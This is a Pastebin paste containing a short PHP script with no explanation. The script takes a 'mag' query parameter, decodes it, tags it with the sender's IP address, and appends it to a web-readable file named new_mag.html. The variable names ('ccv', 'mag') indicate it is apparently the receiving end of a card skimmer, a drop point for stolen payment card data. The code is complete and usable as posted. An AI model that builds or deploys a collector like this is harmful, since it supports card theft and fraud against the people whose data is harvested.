Advertisement
b3gund4L

Untitled

May 16th, 2017
38,777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.54 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['mag'])){
  3.     if($_GET['mag']<>''){
  4.         if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  5.             $ip = $_SERVER['HTTP_CLIENT_IP'];
  6.         } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  7.             $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  8.         } else {
  9.             $ip = $_SERVER['REMOTE_ADDR'];
  10.         }
  11.        
  12.         $str = $_GET['mag'];
  13.         //$str2= base64_decode($str);
  14.         $str2 = rawurldecode($str);
  15.         $str2 = $str2."<br>".$ip."<br>::::::::::::::::::::::::::::::::::::::::::::::";
  16.         $open_ccv_file = fopen("./new_mag.html","a");
  17.         fwrite($open_ccv_file,$str2);
  18.     }
  19. }
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement